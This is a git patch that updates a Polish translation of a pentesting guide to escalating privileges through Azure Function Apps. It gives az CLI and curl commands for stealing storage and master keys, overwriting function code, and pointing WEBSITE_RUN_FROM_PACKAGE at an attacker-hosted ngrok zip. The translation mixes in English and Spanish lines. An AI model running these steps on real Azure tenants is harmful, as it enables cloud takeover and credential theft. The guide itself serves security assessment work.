From 6292af62dd4d3baf4e1bc98bbc660c0453791640 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 16 Jun 2026 13:16:14 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-functions-app-privesc.md | 143 ++++++++++-------- 1 file changed, 82 insertions(+), 61 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 1ddb73c07..499db14eb 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -12,26 +12,26 @@ Sprawdź następującą stronę, aby uzyskać więcej informacji: ### Bucket Read/Write -Mając uprawnienia do odczytu kontenerów wewnątrz Storage Account, który przechowuje dane funkcji, można znaleźć **różne kontenery** (własne lub o predefiniowanych nazwach), które mogą zawierać **kod wykonywany przez funkcję**. +Mając uprawnienia do odczytu kontenerów wewnątrz Storage Account, który przechowuje dane funkcji, możliwe jest znalezienie **różnych kontenerów** (custom lub o z góry zdefiniowanych nazwach), które mogą zawierać **kod wykonywany przez funkcję**. -Gdy znajdziesz miejsce, gdzie znajduje się kod funkcji, jeśli masz nad nim uprawnienia do zapisu, możesz sprawić, że funkcja wykona dowolny kod i eskalować uprawnienia do managed identities przypisanych do funkcji. +Gdy znajdziesz, gdzie znajduje się kod funkcji, jeśli masz do niego uprawnienia do zapisu, możesz sprawić, że funkcja wykona dowolny kod i podnieść uprawnienia do managed identities przypisanych do funkcji. -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` -Kod funkcji jest zwykle przechowywany w udziale plików. Mając wystarczający dostęp można zmodyfikować plik z kodem i **sprawić, by funkcja załadowała dowolny kod**, co pozwala na eskalację uprawnień do managed identities przypisanych do Function. +Kod funkcji jest zwykle przechowywany wewnątrz file share. Przy wystarczającym dostępie możliwe jest zmodyfikowanie pliku z kodem i **spowodowanie, że funkcja załaduje dowolny kod**, co pozwala na podniesienie uprawnień do managed identities przypisanych do Function. -This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from +Ta metoda wdrażania zwykle konfiguruje ustawienia **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** które możesz uzyskać z ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Te konfiguracje będą zawierać **Storage Account Key**, którego **Function** może użyć, aby uzyskać dostęp do kodu. +Te konfiguracje będą zawierać **Storage Account Key**, którego Function może użyć do uzyskania dostępu do kodu. > [!CAUTION] -> Przy wystarczających uprawnieniach do połączenia z File Share i **zmodyfikowania uruchamianego skryptu** możliwe jest wykonanie dowolnego kodu w **Function** i eskalacja uprawnień. +> Przy wystarczających uprawnieniach do połączenia się z File Share i **modyfikacji skryptu** uruchamianego przez Function możliwe jest wykonanie arbitralnego kodu w Function i eskalacja uprawnień. -Poniższy przykład używa macOS do połączenia z file share, ale zaleca się również sprawdzenie poniższej strony, aby uzyskać więcej informacji o file shares: +Poniższy przykład używa macOS do połączenia się z file share, ale zaleca się także sprawdzenie następującej strony, aby uzyskać więcej informacji o file shares: {{#ref}} ../az-services/az-file-shares.md @@ -47,7 +47,7 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -Często również można znaleźć **zip releases** w folderze `function-releases` w kontenerze Storage Account, którego używa function app — zwykle w kontenerze **nazywanym `function-releases`**. +Często można też znaleźć **zip releases** w folderze `function-releases` kontenera Storage Account, którego używa function app, zwykle w kontenerze **zwykle nazywanym `function-releases`**. Zwykle ta metoda wdrażania ustawi konfigurację `WEBSITE_RUN_FROM_PACKAGE` w: ```bash @@ -55,18 +55,18 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -This config will usually contain a **SAS URL to download** the code from the Storage Account. +Ta konfiguracja zwykle będzie zawierać **SAS URL do pobrania** kodu z Storage Account. > [!CAUTION] -> Przy wystarczających uprawnieniach, aby połączyć się z blob containerem, który **zawiera kod w zipie**, możliwe jest wykonanie dowolnego kodu w Function i eskalacja uprawnień. +> Mając wystarczające uprawnienia do połączenia z blob container, który **zawiera kod w zip**, można wykonać arbitrary code w Function i eskalować privilegies. - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`) -Podobnie jak w poprzednim przypadku, jeśli deployment jest wykonywany za pomocą Github Actions, można znaleźć folder **`github-actions-deploy`** w Storage Account zawierający zip z kodem oraz SAS URL do tego zipa w ustawieniu `WEBSITE_RUN_FROM_PACKAGE`. +Podobnie jak w poprzednim przypadku, jeśli deployment jest wykonywany przez Github Actions, możliwe jest znalezienie folderu **`github-actions-deploy`** w Storage Account zawierającego zip z kodem oraz SAS URL do zipa w ustawieniu `WEBSITE_RUN_FROM_PACKAGE`. - **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`) -Mając uprawnienia do odczytu kontenerów w Storage Account przechowującym dane funkcji, można znaleźć kontener **`scm-releases`**. Znajduje się tam najnowsze wydanie w formacie pliku **Squashfs filesystem file format** i w związku z tym możliwe jest odczytanie kodu funkcji: +Mając uprawnienia do odczytu containerów wewnątrz Storage Account, który przechowuje dane function, możliwe jest znalezienie kontenera **`scm-releases`**. Tam można znaleźć najnowszy release w formacie pliku systemu plików **Squashfs filesystem file format** i dzięki temu można odczytać kod function: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -Możliwe jest także znalezienie **master and functions keys** przechowywanych w storage account w kontenerze **`azure-webjobs-secrets`** wewnątrz folderu **``** w plikach JSON, które tam znajdziesz. +Możliwe jest też znalezienie **master i functions keys** przechowywanych w storage account w kontenerze **`azure-webjobs-secrets`** wewnątrz folderu **``** w plikach JSON, które można tam znaleźć. > [!CAUTION] -> Przy wystarczających uprawnieniach do połączenia się z blob containerem, który **zawiera kod w pliku z rozszerzeniem zip** (który w rzeczywistości jest **`squashfs`**), możliwe jest wykonanie dowolnego kodu w Function i eskalacja uprawnień. +> Przy wystarczających uprawnieniach do połączenia się z blob container, który **zawiera kod w pliku z rozszerzeniem zip** (który tak naprawdę jest **`squashfs`**) możliwe jest wykonanie arbitralnego kodu w Function i eskalacja uprawnień. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -118,11 +118,11 @@ az storage blob upload \ ``` ### `Microsoft.Web/sites/host/listkeys/action` -To uprawnienie pozwala wylistować function, master i system keys, ale nie host key, dla wskazanej funkcji za pomocą: +To uprawnienie pozwala wylistować klucze funkcji, master i system, ale nie hosta, dla wskazanej funkcji za pomocą: ```bash az functionapp keys list --resource-group --name ``` -Dysponując master key, można również uzyskać kod źródłowy pod adresem URL takim jak: +Z master key można też uzyskać source code z URL takiego jak: ```bash # Get "script_href" from az rest --method GET \ @@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # JavaScript function app example curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v ``` -Aby **zmienić kod, który jest wykonywany** w funkcji na: +I aby **zmienić kod, który jest wykonywany** w funkcji za pomocą: ```bash # Set the code to set in the function in /tmp/function_app.py ## Python function app example @@ -154,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot ``` ### `Microsoft.Web/sites/functions/listKeys/action` -To uprawnienie umożliwia pobranie domyślnego klucza określonej funkcji za pomocą: +To uprawnienie pozwala uzyskać domyślny key dla wskazanej function za pomocą: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` -Wywołaj funkcję, używając uzyskanego klucza domyślnego: +Wywołaj funkcję używając domyślnie uzyskanego klucza: ```bash curl "https://.azurewebsites.net/api/?code=" ``` ### `Microsoft.Web/sites/host/functionKeys/write` -To uprawnienie pozwala utworzyć/zaktualizować klucz funkcji dla określonej funkcji za pomocą: +To uprawnienie pozwala tworzyć/aktualizować function key dla określonej funkcji za pomocą: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` ### `Microsoft.Web/sites/host/masterKey/write` -To uprawnienie umożliwia utworzenie/aktualizację master key dla wskazanej funkcji za pomocą: +To uprawnienie pozwala utworzyć/zaktualizować master key dla wskazanej funkcji za pomocą: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` > [!CAUTION] -> Pamiętaj, że przy użyciu tego klucza możesz także uzyskać dostęp do kodu źródłowego i go modyfikować, jak wyjaśniono wcześniej! +> Pamiętaj, że z tym key możesz także uzyskać access do source code i modyfikować go, jak wyjaśniono wcześniej! ### `Microsoft.Web/sites/host/systemKeys/write` -To uprawnienie pozwala na tworzenie/aktualizację systemowego klucza funkcji dla określonej funkcji za pomocą: +To permission allows to create/update a system function key to the specified function with: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -Brakuje klucza — proszę wklej klucz po "Use the key:" lub podaj zawartość pliku src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md do przetłumaczenia. +Użyj klucza: ```bash # Ejemplo: Acceso a endpoints de Durable Functions curl "https://.azurewebsites.net/runtime/webhooks/durabletask/instances?code=" @@ -193,28 +193,28 @@ curl "https://.azurewebsites.net/runtime/webhooks/eventgrid?code= --resource-group ``` -Co więcej, to uprawnienie pozwala również uzyskać **SCM username and password** (jeśli włączone) za pomocą: +Co więcej, to uprawnienie pozwala również uzyskać **SCM username i password** (jeśli włączone) za pomocą: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Te uprawnienia pozwalają na wylistowanie wartości konfiguracji funkcji, jak widzieliśmy wcześniej, oraz **modyfikowanie tych wartości**. To przydatne, ponieważ te ustawienia wskazują, skąd pochodzi kod wykonywany w funkcji. +Te uprawnienia pozwalają wylistować wartości config funkcji, jak widzieliśmy wcześniej, a także **modyfikować te wartości**. Jest to przydatne, ponieważ te ustawienia wskazują, gdzie znajduje się code do wykonania wewnątrz function. -Daje to możliwość ustawienia wartości ustawienia **`WEBSITE_RUN_FROM_PACKAGE`** wskazującej na URL pliku zip zawierającego nowy kod do wykonania wewnątrz aplikacji webowej: +Dlatego możliwe jest ustawienie wartości settingu **`WEBSITE_RUN_FROM_PACKAGE`** wskazującej na URL do pliku zip zawierającego nowy code do wykonania wewnątrz web application: -- Zacznij od pobrania aktualnej konfiguracji +- Zaczynamy od pobrania current config ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -- Utwórz kod, który chcesz, aby funkcja uruchamiała, i udostępnij go publicznie +- Utwórz kod, który chcesz, aby funkcja uruchamiała, i hostuj go publicznie ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -224,9 +224,9 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` -- Zmodyfikuj funkcję, zachowaj poprzednie parametry i dodaj na końcu konfigurację **`WEBSITE_RUN_FROM_PACKAGE`**, wskazującą URL do **zip** zawierającego kod. +- Zmodyfikuj function, zachowaj poprzednie parametry i dodaj na końcu config **`WEBSITE_RUN_FROM_PACKAGE`** wskazujący na URL z **zip** zawierającym code. -Poniżej znajduje się przykład moich **własnych ustawień — będziesz musiał zmienić wartości na swoje**; zwróć uwagę na końcu na wartość `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` — to miejsce, gdzie hostowałem aplikację. +Poniżej jest przykład moich **własnych settings, dla których będziesz musiał zmienić wartości na swoje**, zwróć uwagę na końcu wartości `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, to było miejsce, gdzie hostowałem app. ```bash # Modify the function az rest --method PUT \ @@ -236,7 +236,7 @@ az rest --method PUT \ ``` ### `Microsoft.Web/sites/hostruntime/vfs/write` -Dzięki temu uprawnieniu **można zmodyfikować kod aplikacji** przez konsolę web (lub przez następujący endpoint API): +Z tym uprawnieniem **możliwe jest modyfikowanie kodu aplikacji** przez web console (lub przez następujący endpoint API): ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -266,7 +266,7 @@ body: responseMessage ``` ### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) -To uprawnienie umożliwia wylistowanie wszystkich profili publikowania, które w zasadzie zawierają **basic auth credentials**: +To uprawnienie pozwala na wylistowanie wszystkich profili publikacji, które zasadniczo zawierają **basic auth credentials**: ```bash # Get creds az functionapp deployment list-publishing-profiles \ @@ -280,9 +280,9 @@ az functionapp deployment user set \ --user-name DeployUser123456 g \ --password 'P@ssw0rd123!' ``` -- Jeśli poświadczenia są **REDACTED** +- Jeśli poświadczenia **REDACTED** -Jeśli widzisz, że te poświadczenia są **REDACTED**, to dlatego, że musisz **włączyć opcję SCM basic authentication** i do tego potrzebujesz drugiego uprawnienia (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +Jeśli widzisz, że te poświadczenia są **REDACTED**, to dlatego, że **musisz włączyć opcję podstawowego uwierzytelniania SCM** i do tego potrzebujesz drugiego uprawnienia (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -302,26 +302,47 @@ az rest --method PUT \ } } ``` -- **Metoda SCM** +- **Method SCM** -Następnie możesz uzyskać dostęp przy użyciu tych **basic auth credentials to the SCM URL** swojej function app i uzyskać wartości zmiennych środowiskowych: +Następnie możesz uzyskać dostęp za pomocą tych **basic auth credentials do URL SCM** twojej function app i pobrać wartości zmiennych env: ```bash # Get settings values curl -u ':' \ https://.scm.azurewebsites.net/api/settings -v -# Deploy code to the funciton -zip function_app.zip function_app.py # Your code in function_app.py -curl -u ':' -X POST --data-binary "@" \ -https://.scm.azurewebsites.net/api/zipdeploy ``` -_Zauważ, że **SCM username** jest zwykle znakiem "$", po którym następuje nazwa aplikacji, więc: `$`._ +Możesz pobrać, zmodyfikować i uploadować nowy kod function : +```bash +# download +curl -u ':' -X GET \ +https://.scm.azurewebsites.net/api/zip/site/wwwroot/ \ +-o current_function_code.zip -Możesz również uzyskać dostęp do strony internetowej pod adresem `https://.scm.azurewebsites.net/BasicAuth` +unzip current_function_code.zip -d updated_code/ +cd updated_code/ +#... modify the function code +zip -r ../updated_function_app.zip . +cd ../ -Wartości ustawień zawierają **AccountKey** storage account przechowującego dane function app, co pozwala przejąć kontrolę nad tym storage account. +# upload +curl -u ':' https://.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v +``` +Możesz nawet uploadować konkretny plik : +```bash +curl -u ':' \ +-X PUT \ +-H "Content-Type: application/javascript" \ +-H "If-Match: *" \ +--data-binary "@./my_local_payload.js" \ +"https://.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file +``` +_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$`._ -- **Metoda FTP** +Możesz też uzyskać dostęp do strony web pod `https://.scm.azurewebsites.net/BasicAuth` + +Wartości settings zawierają **AccountKey** storage account przechowującego dane function app, co pozwala kontrolować ten storage account. + +- **Method FTP** Połącz się z serwerem FTP używając: ```bash @@ -337,7 +358,7 @@ ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` -_Należy zauważyć, że **FTP username** jest zwykle w formacie \\\$\._ +_Note that the **FTP username** is usually in the format \\\$\._ ### `Microsoft.Web/sites/hostruntime/vfs/read` @@ -347,9 +368,9 @@ az rest --url "https://management.azure.com/subscriptions//reso ``` ### `Microsoft.Web/sites/functions/token/action` -Z tym uprawnieniem możliwe jest [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), który może być później użyty do pobrania **master key** i tym samym uzyskania dostępu oraz modyfikacji kodu funkcji. +Z tym uprawnieniem możliwe jest [uzyskanie **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), którego można później użyć do pobrania **master key** i w ten sposób uzyskać dostęp do kodu funkcji oraz go modyfikować. -Jednak w moich ostatnich sprawdzeniach nie zwrócono żadnego tokena, więc może być to wyłączone lub już nie działać — oto jak byś to zrobił: +Jednak w moich ostatnich sprawdzeniach żaden token nie został zwrócony, więc możliwe, że jest to wyłączone albo już nie działa, ale oto jak byś to zrobił: ```bash # Get admin token az rest --method GET \ @@ -361,7 +382,7 @@ curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ ``` ### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) -To uprawnienie pozwala **włączyć funkcje**, które mogą być wyłączone (lub je wyłączyć). +To uprawnienie pozwala **włączyć functions**, które mogą być wyłączone (lub je wyłączyć). ```bash # Enable a disabled function az functionapp config appsettings set \ @@ -369,13 +390,13 @@ az functionapp config appsettings set \ --resource-group \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -Można też sprawdzić, czy funkcja jest włączona lub wyłączona pod następującym adresem URL (używając uprawnienia w nawiasie): +Można też sprawdzić, czy function jest włączona lub wyłączona pod następującym URL (używając permission w nawiasie): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Dzięki tym uprawnieniom możliwe jest **zmodyfikowanie kontenera uruchamianego przez function app** skonfigurowaną do uruchamiania kontenera. Pozwoliłoby to atakującemu przesłać złośliwy azure function container app do docker hub (na przykład) i doprowadzić do jego wykonania przez function app. +Dzięki tym uprawnieniom możliwe jest **zmodyfikowanie kontenera uruchamianego przez function app** skonfigurowany do pracy w kontenerze. Umożliwiłoby to atakującemu przesłanie złośliwego container app dla Azure Function do docker hub (na przykład) i sprawienie, by function go wykonała. ```bash az functionapp config container set --name \ --resource-group \ @@ -383,29 +404,29 @@ az functionapp config container set --name \ ``` ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Dzięki tym uprawnieniom możliwe jest **przypisanie nowej user managed identity do funkcji**. Jeśli funkcja zostanie przejęta, pozwoli to na eskalację uprawnień do dowolnej user managed identity. +Z tymi uprawnieniami można **dołączyć nową user managed identity do function**. Jeśli function zostało skompromitowane, pozwoliłoby to na eskalację uprawnień do dowolnej user managed identity. ```bash az functionapp identity assign \ --name \ --resource-group \ --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` -### Debugowanie zdalne +### Remote Debugging -Możliwe jest także połączenie się w celu debugowania działającej funkcji Azure, jak [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Jednak domyślnie Azure wyłączy tę opcję po 2 dniach, na wypadek gdy programista zapomni i pozostawi podatną konfigurację. +Możliwe jest również połączenie się, aby debugować działającą funkcję Azure, jak [**wyjaśniono w dokumentacji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Jednak domyślnie Azure wyłączy tę opcję po 2 dniach na wypadek, gdyby developer zapomniał i pozostawił podatną konfigurację. -Można sprawdzić, czy Function ma włączone debugowanie za pomocą: +Możliwe jest sprawdzenie, czy Function ma włączony debugging za pomocą: ```bash az functionapp show --name --resource-group ``` -Mając uprawnienie `Microsoft.Web/sites/config/write`, możliwe jest również ustawienie funkcji w trybie debugowania (poniższe polecenie wymaga również uprawnień `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` oraz `Microsoft.Web/sites/Read`). +Mając uprawnienie `Microsoft.Web/sites/config/write`, można też przełączyć funkcję w tryb debugowania (następujące polecenie wymaga również uprawnień `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` oraz `Microsoft.Web/sites/Read`). ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` -### Zmiana repozytorium Github +### Zmień repo Github -Próbowałem zmienić repozytorium Github, z którego odbywa się wdrażanie, wykonując następujące polecenia, ale nawet jeśli się zmieniło, **the new code was not loaded** (prawdopodobnie dlatego, że oczekuje, iż Github Action zaktualizuje kod).\ -Co więcej, **managed identity federated credential wasn't updated**, aby zezwolić nowemu repozytorium, więc wygląda na to, że to nie jest zbyt przydatne. +Spróbowałem zmienić repo Github, z którego odbywa się deployment, wykonując następujące polecenia, ale nawet jeśli to się zmieniło, **nowy kod nie został załadowany** (prawdopodobnie dlatego, że oczekuje, iż Github Action zaktualizuje kod).\ +Ponadto **federated credential managed identity nie zostało zaktualizowane**, aby dopuścić nowe repozytorium, więc wygląda na to, że nie jest to zbyt użyteczne. ```bash # Remove current az functionapp deployment source delete \